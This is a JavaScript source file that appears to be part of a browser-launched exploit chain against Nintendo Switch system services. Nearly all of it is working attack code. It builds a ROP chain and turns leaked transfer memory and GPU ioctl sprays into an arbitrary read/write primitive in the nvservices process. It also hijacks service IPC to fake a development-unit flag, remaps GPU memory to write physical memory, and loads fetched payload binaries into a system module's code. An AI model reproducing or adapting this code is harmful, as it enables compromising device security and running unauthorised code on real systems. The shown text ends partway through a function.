	this.rw.write(vtable, this.ropBuf);
	this.rw.write(store_return_branch_a8, utils.add2(vtable, 0x08));
	this.rw.write(store_return_branch_a8, utils.add2(vtable, this.offsets['shuffle_x0_x8_ofs']));
	this.rw.write(add_x8_br_x2, utils.add2(vtable, 0x38));
	this.rw.write(br_38, utils.add2(vtable, 0xA8));
	this.rw.write(pl_buf1, utils.add2(vtable, add_x8_adj));
	this.rw.write(ldr_blr_x9, utils.add2(vtable, add_x8_adj + 8));
	this.rw.write(utils.add2(store_sp, 0x10), utils.add2(vtable, add_x8_adj + 0xF8));
	this.rw.write(br_38, utils.add2(vtable, add_x8_adj + 0x100));

	this.rw.write(vtable2, pl_buf1);
	this.rw.write(partial_load, utils.add2(pl_buf1, 8));

	this.rw.write(pl_buf2, vtable2);
	this.rw.write(shuffle_x0_x8, utils.add2(vtable2, 0x38));


	this.rw.write(save_buf, pl_buf2);
	this.rw.write(store_branch_60, utils.add2(save_buf, this.offsets['shuffle_x0_x8_ofs']));
	this.rw.write(partial_load, utils.add2(pl_buf2, 0x60));
	this.rw.write(sp, utils.add2(pl_buf2, 0xF8));
	this.rw.write(ldr_br_x1, utils.add2(pl_buf2, 0x100));


	this.rw.write(vtable_save, save_buf);
	this.rw.write(save, vtable_save);
	this.rw.write(ldr_x0_ret, utils.add2(sp, 0x8));
	sp = utils.add2(sp, 0x10);


	// SAVE happens here.
	this.rw.write(load_buf, utils.add2(sp, 0x08));
	this.rw.write(load, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);



	this.rw.write(ldr_x19_ret, utils.add2(sp, 0x08));
	sp = utils.add2(sp, 0x10);
	// Call will happen here

	// Cleanup!
	var hax_buf = utils.add2(this.ropBuf, 0x10000);
	var dump_buf = utils.add2(this.ropBuf, 0x11000);
	this.rw.write(utils.sub2(hax_buf, 0x1A8), utils.add2(sp, 0x00));
	this.rw.write(str_x20, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);


	this.rw.write(utils.sub2(hax_buf, 0x8), utils.add2(sp, 0x08));
	this.rw.write(str_x8_x19, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);

	this.rw.write(utils.add2(hax_buf, 0x10), utils.add2(sp, 0x00));
	this.rw.write(str_x0_x19, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);

	this.rw.write(utils.sub2(hax_buf, 0x90), utils.add2(sp, 0x00));
	this.rw.write(str_x2_x19, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);

	this.rw.write(utils.add2(hax_buf, 0x100), utils.add2(sp, 0x08));
	this.rw.write(ldr_x8_str_0_x19, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);

	this.rw.write(ldr_x2_str_x1_x2, utils.add2(sp, 0x08));
	this.rw.write(blr_x8_ret, utils.add2(sp, 0x28));
	sp = utils.add2(sp, 0x30);

	this.rw.write(utils.add2(hax_buf, 0x20), utils.add2(sp, 0x00));
	sp = utils.add2(sp, 0x10);

	this.rw.write(ldr_x0_ret, utils.add2(sp, 0x8));
	sp = utils.add2(sp, 0x10);

	this.rw.write(dump_buf, utils.add2(sp, 0x08));
	this.rw.write(ldr_x8_ldr_X1_br_x1, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);

	this.rw.write(dump_buf, dump_buf);
	this.rw.write(save, utils.add2(dump_buf, 0x8));
	this.rw.write(ldr_x0_ret, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);

	this.rw.write(save_buf, utils.add2(sp, 0x08));
	this.rw.write(refresh_x19_x20, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);

	this.rw.write(utils.sub2(utils.add2(store_sp, 0x00), 0x70), utils.add2(sp, 0x0));
	this.rw.write(utils.sub2(utils.add2(save_buf, 0xF8), 0x08), utils.add2(sp, 0x8));
	this.rw.write(magic_copy_fuckery, utils.add2(sp, 0x18));
	sp = utils.add2(sp, 0x20);


	// Fix SP
	this.rw.write(utils.sub2(utils.add2(hax_buf, 0x180), 0x70), utils.add2(sp, 0x70));
	this.rw.write(utils.sub2(utils.add2(save_buf, 0x100), 0x08), utils.add2(sp, 0x78));
	this.rw.write(magic_copy_fuckery, utils.add2(sp, 0x88));
	sp = utils.add2(sp, 0x90);


	// Fix LR
	this.rw.write(return_address, utils.add2(hax_buf, 0x180));

	this.rw.write(utils.sub2(utils.add2(hax_buf, 0x190), 0x70), utils.add2(sp, 0x70));
	this.rw.write(utils.sub2(utils.add2(save_buf, 0x0), 0x08), utils.add2(sp, 0x78));
	this.rw.write(magic_copy_fuckery, utils.add2(sp, 0x88));
	sp = utils.add2(sp, 0x90);


	// Fix X0
	this.rw.write([0xCAFE, 0x0], utils.add2(hax_buf, 0x188));

	this.rw.write(load, utils.add2(sp, 0x88)); // pls
	sp = utils.add2(sp, 0x90);
};

nvcore.prototype.leakPrev = function(size) {
	var leaker = new nvown(new Uint32Array(1 * 1024 * 1024 / 4));
	var addr = leaker.svc.leak();
	var base = sc.read8(addr, 0x8008 >> 2);
	leaker.svc.tback = null;
	switch(size) {
	case 1:
		return utils.sub2(base, 0x8000);
	case 8:
		return utils.sub2(base, 0xc000);
	case 64:
		return utils.sub2(base, 0x2b000);
	}
	return base;
};

nvcore.prototype.get_rw_primitive = function(sc) {

	var GET_USER_ADDRESS = 0x80084715;
    var SET_USER_ADDRESS = 0x40084714;
	// Leak channel address!
	var tback = new Uint32Array(1 * 1024 * 1024 / 4);
	var obj1 = new nvown(tback);
	obj1.svc.open('/dev/nvhost-gpu');
	var buf = obj1.svc.leak();
	var nvhost_channel = sc.read8(buf, 0xC000 >> 2);
	utils.log('nvhost_channel at ' + utils.paddr(nvhost_channel));

	this.channel_addr = nvhost_channel;
	tback = obj1.svc.tback = null;

	var protectedObj = new nvown(new Uint32Array(1 * 1024 * 1024 / 4));
	var protectedBase = this.leakPrev(1);
	utils.log(utils.paddr(protectedBase));
    this.protectedBase = protectedBase;
    

	var buf = new Uint32Array(2);
	buf[0] = 0x12345678;
	buf[1] = 0x87654321;
	utils.log(protectedObj.gpu.ioctl(SET_USER_ADDRESS, buf).toString(16));

	sc.enableTurbo(); // 15 times faster

	var vicBuf = new Uint32Array(8 * 1024 * 1024 / 4);
	var rwaddr = utils.add2(protectedBase, 0xc008 - 0x78);

    vicBuf[0x700000 >> 2] = nvhost_channel[0];
    vicBuf[0x700004 >> 2] = nvhost_channel[1];
    vicBuf[0x700008 >> 2] = rwaddr[0];
    vicBuf[0x70000C >> 2] = rwaddr[1];

	var vicObj = new nvown(vicBuf);
    var vicBase = this.leakPrev(8);
    this.vicBase = vicBase;

	this.ropBase = utils.add2(vicBase, 0x400000);
	this.ropBuf = utils.add2(this.ropBase, 0x80000);

    
    this.pauseWrite(utils.add2(vicBase, 0x700000), utils.add2(vicBase, 0xf000));
    var buf = new Uint32Array(2);
    vicObj.gpu.ioctl(GET_USER_ADDRESS, buf);
	this.protUserAddr = [buf[0], buf[1]];

	this.rw = new nvrw(vicObj, protectedObj);

    // Clean up Vic Obj
    this.write8(utils.add2(this.vicBase, 0x9000), utils.add2(this.vicBase, 0xF008));

    utils.log('Got RW primitive!');

};

nvcore.prototype.pauseWrite = function(val, addr) {
    if (typeof(val) === 'number') {
        val = [val, 0];
    }
    var sprayBuf = new Uint32Array([0x03020100, 0x07060504, 0x0B0A0908, 0x0F0E0D0C, 0x13121110, 0x17615114, 0x1B1A1918, 0x1F1E1D1C, 0x23222120, val[1], val[0], 0x2F2E2D2C]);
    this.spray(sprayBuf, utils.sub2(addr, 0x24));
    this.spray(sprayBuf, utils.sub2(addr, 0x24));
}

nvcore.prototype.spray = function(sprayBuf, addr) {
    var buf = new Uint32Array(1 * 1024 * 1024 / 4);
    var atk = new nvown(buf);
	var atkBase = this.leakPrev(1);
    var ctrl = atk.svc.open('/dev/nvhost-ctrl-gpu');
    var NVGPU_GPU_IOCTL_ZBC_SET_TABLE = 0x402C4703;
    var NVGPU_GPU_IOCTL_WAIT_FOR_PAUSE = 0xC0084710;
    ctrl.ioctl(NVGPU_GPU_IOCTL_ZBC_SET_TABLE, sprayBuf);
    ctrl.ioctl(NVGPU_GPU_IOCTL_WAIT_FOR_PAUSE, new Uint32Array(addr));
    atk.svc.leak();
    atk.svc.tback = null;
    //utils.log('Sprayed!');
}

nvcore.prototype.read8 = function(addr) {
	return this.rw.read(addr);
};

nvcore.prototype.read4 = function(addr) {
	return this.slowCall(this.offsets['read4'], [utils.sub2(addr, this.offsets['read4_adj'])]);
};

nvcore.prototype.read2 = function(addr) {
	return this.slowCall(this.offsets['read2'], [utils.sub2(addr, this.offsets['read2_adj'])]);
};

nvcore.prototype.read1 = function(addr) {
	return this.slowCall(this.offsets['read1'], [utils.sub2(addr, this.offsets['read1_adj'])]);
};

nvcore.prototype.write8 = function(val, addr) {
	this.rw.write(val, addr);
};

nvcore.prototype.write4 = function(val, addr) {
	this.slowCall(this.offsets['write4'], [utils.sub2(addr, this.offsets['write4_adj']), val]);
};

nvcore.prototype.write2 = function(val, addr) {
	this.slowCall(this.offsets['write2'], [utils.sub2(addr, this.offsets['write2_adj']), val]);
};

nvcore.prototype.write1 = function(val, addr) {
	this.slowCall(this.offsets['write1'], [utils.sub2(addr, this.offsets['write1_adj']), val]);
};

nvcore.prototype.memcpyFromBrowser = function(dst, src, size) {
	this.sc.memcpy(this.tempBufAddr, src, size);
	var obj = new nvown(this.tempBuf);
	var base = this.leakPrev(8);
	var nvbuf = utils.add2(base, 0x100000);

	this.slowCall(this.offsets['memcpy'], [dst, nvbuf, size]);
	obj.svc.leak();
};

nvcore.prototype.memcpyToBrowser = function(dst, src, size) {
	var obj = new nvown(this.tempBuf);
	var base = this.leakPrev(8);
	var nvbuf = utils.add2(base, 0x100000);

	this.slowCall(this.offsets['memcpy'], [nvbuf, src, size]);
	obj.svc.leak();
	this.sc.memcpy(dst, this.tempBufAddr, size);
};

nvcore.prototype.malloc = function(size) {
	return this.slowCall(this.offsets['malloc'], [utils.add2(this.nv_base, this.offsets['malloc_heap']), size]);
};

nvcore.prototype.free = function(addr) {
	this.slowCall(this.offsets['free'], [utils.add2(this.nv_base, this.offsets['malloc_heap']), addr]);
};

nvcore.prototype.setup_ro_hax = function() {
	var nvIpcBuf = utils.add2(this.nv_base, 0x550000);
	var nvTempBuf = new Uint32Array(8 * 1024 * 1024 / 4);

	var nv = this;
	var sc = this.sc;

	function waitHandles(handles) {
		for(var i = 0; i < handles.length; ++i)
			nv.write4(handles[i], utils.add2(nvIpcBuf, 4 + i * 4));
		var ret = nv.svc(0x18, [nvIpcBuf, utils.add2(nvIpcBuf, 4), handles.length, 0])[0];
		var hndI = nv.read4(nvIpcBuf)[0];
		return [ret, hndI];
	}

	function acceptSession(handle) {
		nv.svc(0x41, [nvIpcBuf, handle]);
		return nv.read4(nvIpcBuf)[0];
	}

	function readIncoming(handle) {
		utils.log('Writing handle');
		nv.write8([handle, 0], nv.scratch);
		utils.log('foo');
		var data = new Uint32Array(0x100);
		nv.memcpyFromBrowser(nvIpcBuf, sc.read8(sc.getAddr(data), 4), 0x100 << 2);
		utils.log('replyandreceive');
		var ret = nv.svc(0x44, [nv.scratch, nvIpcBuf, 0x1000, nv.scratch, 1, [0, 0], [0xffffffff, 0xffffffff]])[0];
		utils.log('Copying data');
		if(ret == 0xf601)
			return null;
		var data = new Uint32Array(0x100);
		nv.memcpyToBrowser(sc.read8(sc.getAddr(data), 4), nvIpcBuf, 0x100 << 2);
		utils.log('Done?');
		return data;
	}

	function respond(handle, data) {
		utils.log('Attempting to respond');
		nv.memcpyFromBrowser(nvIpcBuf, sc.read8(sc.getAddr(data), 4), data.length << 2);
		utils.log('replyandreceive');
		utils.log(utils.paddr(nv.svc(0x44, [nv.scratch, nvIpcBuf, 0x1000, nv.scratch, 0, handle, [0, 0]])));
		utils.log('Done?');
	}

	this.sc.unregisterService('spl:');

	nv.svc(0x1F, [nvIpcBuf, utils.add2(nv.nv_base, 0xE6CDD)]);
	var nvSmHandle = nv.read8(nvIpcBuf)[0];
	utils.log('SM handle: ' + nvSmHandle.toString(16));

	var data = new Uint32Array([0x4, 0xc, 0, 0, 0x49434653, 0, 2, 0, 0x3a6c7073, 0, 200, 0x20]);
	nv.memcpyFromBrowser(nvIpcBuf, sc.read8(sc.getAddr(data), 4), data.length << 2);
	utils.paddr(nv.svc(0x22, [nvIpcBuf, 0x1000, nvSmHandle]));
	var output = new Uint32Array(0x100);
	nv.memcpyToBrowser(sc.read8(sc.getAddr(output), 4), nvIpcBuf, 0x100 << 2);

	var portHandle = output[3];
	utils.log('Port handle: ' + portHandle.toString(16));
	var handles = [portHandle];

	waitHandles(handles);

	getServicePid = function(service) {
		this.sc.killAutoHandle();
		var res = this.sc.ipcMsg(2).setType(3).datau64(0).sendTo(service).show();
		this.sc.svcCloseHandle(res.movedHandles[0]);
		return res.pid[0];
	};

	var service = 'ldr:ro';
	var pid = getServicePid(service);
	utils.log(service + ' is PID 0x'+pid.toString(16));

	this.sc.ipcMsg(1).data(pid).sendTo('pm:shell').assertOk();

	var tid = utils.parseAddr('0100000000000037');

	var newPid = this.sc.ipcMsg(0).datau64(0, tid, 3).sendTo('pm:shell').show().data[0];
	utils.log("new pid: 0x" + newPid.toString(16));
	
	var interval = setInterval(function() {
		var temp = waitHandles(handles);
		switch(temp[0]) {
		case 0:
			utils.log('Handle ' + temp[1] + ' ready');
			var handle = handles[temp[1]];
			if(handle == portHandle) {
				var pipe = acceptSession(portHandle);
				utils.log('Accepted new pipe ' + pipe.toString(16));
				handles.push(pipe);
			} else {
				utils.log('Got incoming message on ' + handle.toString(16));
				var data = readIncoming(handle);
				if(data == null) {
					utils.log('Pipe closed.  Removing.');
					nv.svc(0x16, [handle]);
					handles.splice(handles.indexOf(handle), 1);
					clearInterval(interval); // We should be done now!
					break;
				}

				if(data[6] == 11) { // GetDevUnitFlag
					respond(handle, new Uint32Array([0, 0xa, 0, 0, 0x4f434653, 0, 0, 0, 0, 0]));
				} else if(data[6] == 0) {
					respond(handle, new Uint32Array([0, 0xa, 0, 0, 0x4f434653, 0, 0, 0, 1, 0]));
				} else {
					clearInterval(interval);
				}
			}
			break;
		case 0xea01:
			break;
		default:
			utils.log('Unknown ret for wait: ' + temp[0].toString(16));
			break;
		}
	}, 100);
};

var nvrw = function(vicObj, protObj) {
	this.vicObj = vicObj;
	this.protObj = protObj;
	this.SET_USER_ADDRESS = 0x40084714;
	this.GET_USER_ADDRESS = 0x80084715;

	this.buf = new Uint32Array(2);
};

nvrw.prototype.read = function(addr) {
	var corr = utils.sub2(addr, 0x78);
	this.buf[0] = corr[0]; this.buf[1] = corr[1];
	this.vicObj.gpu.ioctl(this.SET_USER_ADDRESS, this.buf);
	this.buf[0] = this.buf[1] = 0;
	this.protObj.gpu.ioctl(this.GET_USER_ADDRESS, this.buf);
	return [this.buf[0], this.buf[1]];
};

nvrw.prototype.write = function(val, addr) {
	val = utils.pad64(val);
	var corr = utils.sub2(addr, 0x78);
	this.buf[0] = corr[0]; this.buf[1] = corr[1];
	this.vicObj.gpu.ioctl(this.SET_USER_ADDRESS, this.buf);
	var cval = utils.add2(val, 0);
	this.buf[0] = cval[0]; this.buf[1] = cval[1];
	this.protObj.gpu.ioctl(this.SET_USER_ADDRESS, this.buf);
};

var nvdev = function(name, hnd, tdsize) {
	this.hnd = hnd;
	var nbuf = utils.str2ab(name);
	utils.dlog('Opening nvdev ' + name);
	this.handle = window.sc.ipcMsg(0).data(tdsize).aDescriptor(nbuf, nbuf.byteLength, 0).sendTo(this.hnd).assertOk().data[0];
	utils.dlog('Handle: ' + this.handle.toString(16));
	window.sc.free(nbuf);
};

nvdev.prototype.ioctl = function(num, buf) {
	utils.dlog('Send ioctl');
	var resp = window.sc.ipcMsg(1).datau32(this.handle, num, 0, 0).aDescriptor(buf, buf.byteLength, 0).bDescriptor(buf, buf.byteLength, 0).xDescriptor(0, 0, 0).cDescriptor(0, 0).sendTo(this.hnd).assertOk();
	return resp.data[0];
};

nvdev.prototype.close = function() {
	window.sc.ipcMsg(2).data(this.handle, 0).sendTo(this.hnd);
};

var nvserv = function(tback) {
	this.svchnd = window.sc.getService('nvdrv:a').assertOk();
	this.tback = tback;
	this.tmem = window.sc.getArrayBufferAddr(this.tback);
	this.thandle = window.sc.svcCreateTransferMemory(tback.buffer, 0).assertOk();
	window.sc.ipcMsg(3).datau32(this.tback.byteLength).copyHandle(0xffff8001).copyHandle(this.thandle).sendTo(this.svchnd).assertOk();
};

nvserv.prototype.open = function(name) {
	return new nvdev(name, this.svchnd, this.tback.byteLength);
};

nvserv.prototype.leak = function() {
	window.sc.svcCloseHandle(this.svchnd).assertOk();
	window.sc.svcCloseHandle(this.thandle).assertOk();
	var is_leaked = false;
	while (!is_leaked) {
		is_leaked = (sc.svcQueryMem(this.tmem).assertOk()[3] == 'RW');
	}
	return this.tmem;
};


var nvown = function(tback) {
	this.svc = new nvserv(tback);
	this.gpu = this.svc.open('/dev/nvhost-gpu');
};

module.exports = nvcore;

nvcore.prototype.setup_gpu_rw = function() {
	var argBuf = new Uint32Array(0x100 / 4);
	var gmmuObj = new nvown(new Uint32Array(0x100000 / 4));
	this.gmmuObj = gmmuObj;
	gmmuObj.nvmap = gmmuObj.svc.open('/dev/nvmap');
	gmmuObj.as = gmmuObj.svc.open('/dev/nvhost-as-gpu');
	argBuf[0] = 0x20000;
	utils.log('IOC_CREATE:' +gmmuObj.nvmap.ioctl(0xC0080101, argBuf));
	var nvmap_handle = argBuf[1];
	utils.log('NVMAP HANDLE: '+nvmap_handle.toString(16));
	gmmuObj.bBuf = sc.malloc(0x2000);
	gmmuObj.bBufA = utils.add2(gmmuObj.bBuf, 0x1000);
	gmmuObj.bBufA[0] &= 0xFFFFF000;
	argBuf[0] = nvmap_handle;
	argBuf[1] = 0;
	argBuf[2] = 0;
	argBuf[3] = 0x1000;
	argBuf[4] = 0;
	argBuf[5] = 0;
	argBuf[6] = gmmuObj.bBufA[0];
	argBuf[7] = gmmuObj.bBufA[1];
	utils.log('IOC_ALLOC: ' +gmmuObj.nvmap.ioctl(0xC0200104, argBuf));
	argBuf[0] = gmmuObj.nvmap.handle;
	utils.log('SET_NVMAP_FD: ' + gmmuObj.gpu.ioctl(0x40044801, argBuf));
	argBuf[0] = 0;
	argBuf[1] = 0;
	argBuf[2] = 0;
	argBuf[3] = 0;
	utils.log('AS_INITIALIZE: '+gmmuObj.as.ioctl(0x40104107, argBuf));
	argBuf[0] = gmmuObj.gpu.handle;
	utils.log('AS_BIND_CHANNEL: '+gmmuObj.as.ioctl(0x40044101, argBuf));
	argBuf[0] = 4;
	argBuf[1] = 0x20000;
	argBuf[2] = 0;
	argBuf[3] = 0;
	argBuf[4] = 0x1000;
	argBuf[5] = 0;
	utils.log('AS_ALLOC_SPACE: '+gmmuObj.as.ioctl(0xC0184102, argBuf));
    this.gpuVaddr = [argBuf[4], argBuf[5]];
    utils.log('VADDR: '+utils.paddr(this.gpuVaddr));
	argBuf[0] = 1;
	argBuf[1] = 0xFF;
	argBuf[2] = nvmap_handle;
	argBuf[3] = 0;
	argBuf[4] = 0;
	argBuf[5] = 0;
	argBuf[6] = 0x20000;
	argBuf[7] = 0;
	argBuf[8] = 0;
	argBuf[9] = 0x00000004;
	utils.log('AS_MAP_BUFFER_EX: '+gmmuObj.as.ioctl(0xC0284106, argBuf));
	argBuf[0] = 0x200;
	argBuf[1] = 0x01;
	utils.log('GPU_ALLOC_GPFIFO: '+gmmuObj.gpu.ioctl(0x40084805, argBuf));
	argBuf[0]= 0xB0B5;
	argBuf[1] = 0;
	utils.log('GPU_ALLOC_OBJ_CTX: '+gmmuObj.gpu.ioctl(0xC0104809, argBuf));
	
	// :)
	utils.log('Looking for FACE...');
	var addr = [0, 0];
	var last = [0, 0];
	var faceAddr = null;
	while(true) {
		var mi = this.queryMem(addr, true);
		last = addr;
		addr = utils.add2(mi[0], mi[1]);
		if (mi[2][1] == 0xC && mi[1][1] == 0 && mi[1][0] <= 0x1000) {
			var face = this.rw.read(utils.add2(mi[0], 0x10));
			if (face[0] == 0xFACE) {
				faceAddr = mi[0];
				break;
			}
		}
		
		if(addr[1] < last[1]) {
			utils.log('End');
			break;
		}

	}
	if (faceAddr == null) {
		utils.log('Failed to find FACE! :(');
		return;
	}
	utils.log('Found FACE at '+utils.paddr(faceAddr));
	var pdeAddr = null;
	for (var i = 0; i < 10; i++) {
		var mi = this.queryMem(addr, true);
		last = addr;
		addr = utils.add2(mi[0], mi[1]);
		if (mi[2][1] == 0xC && mi[1][1] == 0 && mi[1][0] == 0x4000) {
			pdeAddr = mi[0];
			break;
		}
	}
	if (pdeAddr == null) {
		utils.log('Failed to find PTE! :(');
		return;
	}
	utils.log('Found PTE at '+utils.paddr(pdeAddr));
	var pteAddr = utils.add2(pdeAddr, 0x2000);
	var pte = this.rw.read(pteAddr);
	argBuf[0] = this.rw.read(utils.add2(faceAddr, 0x200))[0];
	argBuf[0] &= 0xFFFFFF00;
	argBuf[0] -= 0x20000;
	var pdeVa = this.rw.read(utils.add2(pdeAddr, 0x400));
	utils.log('First PTE entry: '+utils.paddr(pte));
    this.firstPte = pte;
	this.faceAddr = faceAddr;
	this.pteAddr = pteAddr;
	utils.log('IOVA: '+argBuf[0].toString(16));
    if (this.vers === '4.0.1' || this.vers == '4.1.0') {
        argBuf[0] += 0x10000;
        argBuf[0] = (0x80500000 | (argBuf[0] >>> 12));
    } else {
        argBuf[0] = (0x80400000 | (argBuf[0] >>> 12));
    }
	
	this.iovaVal = argBuf[0];
	utils.log('IOVA val: '+this.iovaVal.toString(16));

	var gpuMMIO = this.queryIOMapping(0x57000000, 0x1000000);
	this.gpuMMIO = gpuMMIO;
	utils.log('GPU MMIO at '+utils.paddr(gpuMMIO));
	
	this.pbusAddr = utils.add2(gpuMMIO, 0x1718);
	this.vaHighAddr = utils.add2(gpuMMIO, 0x6000C);
	this.vaLowAddr = utils.add2(gpuMMIO, 0x60010);
	this.gpuRWAddr = utils.add2(gpuMMIO, 0x60014);
	this.workBuf = new Uint32Array(10);

	this.modules = {};
	this.searchModules("nvservices");
	if(!this.modules.nvservices) {
		throw new Error("could not locate nvservices");
	}
	this.selfModule = this.modules.nvservices;
	this.physAddr = this.selfModule.physAddr;
	var freeSpace = this.selfModule.freeSpace;
	utils.log('Found NV at ' + this.physAddr.toString(16));
    
    var blob = new Uint32Array([0xD2800004, 0xB85FC005, 0xB8646823, 0xB9000003, 0x91001084, 0x110010A5, 0xB81FC005, 0x51001042, 0x7100005F, 0x54FFFF2C, 0xD65F03C0, 0xB9400023, 0xB9000003, 0x91001000, 0x51001042, 0x7100005F, 0x54FFFF6C, 0xD65F03C0, 0xF9000020, 0xF9000062, 0xD65F03C0]);
    for (var i = 0; i < blob.length; i++) {
        this.gpuWrite(blob[i], this.physAddr + 0x280 + i * 4);
    }
    utils.log('Wrote out blb');
    utils.log(utils.paddr(this.gpuRead(this.physAddr + 0x280)));
	
	/*
	this.selfModule.writeCodeBlob(new Uint32Array([0xB9400023, 0xB9000003, 0x91001000, 0x51001042, 0x7100005F, 0x54FFFF6C, 0xD65F03C0, 0xD4000A01, 0xAA0103E0, 0xD65F03C0, 0xD40007A1, 0xAA0103E0, 0xD65F03C0, 0xD40007C1, 0xD65F03C0, 0xD40007E1, 0xD65F03C0, 0xD4000DE1, 0xD65F03C0, 0xD4000F01, 0xD65F03C0]));

	utils.log("wrote blob");

	this.svcs[0x50] = freeSpace + (7 * 4);
	this.svcs[0x3D] = freeSpace + (10 * 4); 
	this.svcs[0x3E] = freeSpace + (13 * 4);
	this.svcs[0x3F] = freeSpace + (15 * 4);
	this.svcs[0x6F] = freeSpace + (17 * 4);
	this.svcs[0x78] = freeSpace + (19 * 4);*/
}

nvcore.prototype.prepare_close = function() {
    this.rw.write(this.firstPte, this.pteAddr);
    var ret = this.slowCall(0x280 + 18 * 4, [utils.add2(this.vicBase, 0x10000), utils.add2(this.vicBase, 0xF000), this.protUserAddr, utils.add2(this.protectedBase, 0xC008)]);
    this.callObj.svc.leak();
    utils.log('Call obj...');
    this.gmmuObj.svc.leak();
    utils.log('GMMU...');
    this.rw.protObj.svc.leak();
    utils.log('prot obj...');
    this.rw.vicObj.svc.leak();
    utils.log('vic obj...');
    return ret;
}

nvcore.prototype.load_payload = function() {
	var xhr = new XMLHttpRequest();
	xhr.open("GET", "/gmmupayload.bin", false);
	xhr.send(null);
	if(request.status !== 200) {
		throw new Error("xhr failure");
	}
	
	this.selfModule.writeCodeBlob(new Uint32Array(JSON.parse(xhr.responseText)));
}

class Module {
	constructor(nv, name, addr, details) {
		this.nv = nv;
		this.name = name;
		this.physAddr = addr;
		this.details = details;
		this.of = parseInt(this.details.of);
		//this.freeSpace = parseInt(details.freeSpace);
		//this.freeSpaceSize = parseInt(details.freeSpaceSize);
		this.freeSpace = 0x400; // rtld
		this.freeSpaceSize = 0xD00;
	}

	getAslrBase() {
		if(this.aslrBase) {
			return this.aslrBase;
		}
		var hdr = this.gpuRead8(this.of);
		if(hdr[0] != 0x30444f4d) { // MOD0
			throw new Error("not MOD0");
		}
		var modoff = this.gpuRead8(this.of + 0x18)[0];
		this.aslrBase = this.gpuRead8(this.of + modoff + 0x20);
		return this.aslrBase;
	}
	
	// blob should be a Uint32Array or compatible
	writeCodeBlob(blob) {
		if(blob.byteLength > this.freeSpaceSize) {
			throw new Error("blob is too long");
		}
		utils.log("writing blob to " + this.name);
		this.nv.gpuWriteBuffer(this.physAddr + this.freeSpace, blob, blob.byteLength);
		utils.log("verifying...");
		var st = this.nv.gpuRead(this.physAddr + this.freeSpace);
		if(st[0] != blob[0] || st[1] != blob[1]) {
			throw new Error("failed to verify blob");
		}
		utils.log("verified");
	}

	gpuRead8(offset) {
		return this.nv.gpuRead(this.physAddr + offset);
	}

	gpuWrite4(val, offset) {
		return this.nv.gpuWrite(utils.trunc32(val), this.physAddr + offset);
	}

	writePayloadAndPatch(s_table) {
		if(this.genericCore) {
			return this.genericCore;
		}
		var xhr = new XMLHttpRequest();
		xhr.open("GET", "/"+this.name+"payload.bin", false);
		xhr.send(null);
		if(xhr.status !== 200) {
			throw new Error("xhr failure " + xhr.status);
		}
		this.writeCodeBlob(new Uint32Array(new Uint8Array(JSON.parse(xhr.responseText)).buffer));

		var aslr = this.getAslrBase();
		var origptr = this.gpuRead8(s_table);
		utils.log("orig ptr: " + utils.paddr(origptr) + " (aslr+" + utils.paddr(utils.sub2(origptr, aslr)) + ")");
		var payload = utils.add2(this.getAslrBase(), this.freeSpace);
		this.gpuWrite4(payload[0], s_table);
		this.gpuWrite4(payload[1], s_table + 4);
		
		var newptr = this.gpuRead8(s_table);
		utils.log("new ptr: " + utils.paddr(newptr) + " (aslr+" + utils.paddr(utils.sub2(newptr, aslr)) + ")");
	}
}

nvcore.prototype.probeModule = function(addr, of) {
	utils.log("NSO at 0x" + addr.toString(16) + ": 0x" + of.toString(16));
	for(var i = 0; i < nsoInfo.length; i++) {
		var info = nsoInfo[i];
		for(var j = 0; j < info.variations.length; j++) {
			var variation = info.variations[j];
			if(parseInt(variation.of) == of) {
				var name = info.name;
				if(this.modules[name]) {
					utils.log("  => (already probed '" + name + "' variation " + variation.versions);
					return this.modules[name];
				} else {
					utils.log("  => found '" + name + "' variation " + variation.versions + " at 0x" + addr.toString(16));
					var mod = new Module(this, name, addr, variation);
					this.modules[name] = mod;
					return mod;
				}
			}
		}
	}
	utils.log("  => unknown module");
}

nvcore.prototype.searchModules = function(tryhard) {
	utils.log("non-tryhard search");
	for(var i = 0; i < nsoInfo.length; i++) {
		for(var j = 0; j < nsoInfo[i].addrs.length; j++) {
			var addr = parseInt(nsoInfo[i].addrs[j]);
			var val = this.gpuRead(addr);
			if(val[0] == 0x14000002) {
				this.probeModule(addr, val[1]);
			}
		}
	}
	if(!tryhard || this.modules[tryhard]) {
		return;
	}
	
	utils.log("tryhard search for '" + tryhard + "'");
	addr = 0x81900000;
	while(!this.modules[tryhard]) {
		var val = this.gpuRead(addr);
		if(val[0] == 0x14000002) {
			this.probeModule(addr, val[1]);
		}
		addr+= 0x100000;
        if (addr == 0xFFF00000){
            break;
        }
	}
}

nvcore.prototype.queryMem = function(addr, raw) {
	if(arguments.length == 1)
		raw = false;

	var meminfo = utils.add2(this.ropBase, 0x40000);
	var pageinfo = utils.add2(this.ropBase, 0x40028);

	var memperms = ['NONE', 'R', 'W', 'RW', 'X', 'RX', 'WX', 'RWX'];
	var memstates = ['NONE', '(1)', '(2)', 'CODE-STATIC', 'CODE', 'HEAP', 'SHARED-MEM-BLOCK', 'MODULE-CODE-STATIC', 'MODULE-CODE', 'STACK-MIRROR', 'THREAD-LOCAL-STORAGE', 'MEMORY_MIRROR', '(15)', 'RESERVED'];
	this.svc(0x6, [meminfo, pageinfo, addr]);

	var ms = this.rw.read(utils.add2(meminfo, 0x10));
	if (!raw) ms =	utils.paddr(ms);
	/*if(!raw && ms[1] == 0 && ms[0] < memstates.length)
		ms = memstates[ms[0]];
		else if(!raw)
		ms = 'UNKNOWN'*/
	var mp = this.rw.read(utils.add2(meminfo, 0x18));
	if(!raw && mp[1] == 0 && mp[0] < memperms.length)
		mp = memperms[mp[0]];

	var data = [this.rw.read(meminfo), this.rw.read(utils.add2(meminfo, 8)), ms, mp, this.rw.read(pageinfo)];

	return data;
};

nvcore.prototype.gpuRead4 = function(addr) {
	//this.pbusAddr = utils.add2(gpuMMIO, 0x1718);
	//this.vaLowAddr = utils.add2(gpuMMIO, 0x6000C);
	//this.vaHighAddr = utils.add2(gpuMMIO, 0x60010);
	//this.gpuRWAddr = utils.add2(gpuMMIO, 0x60014);
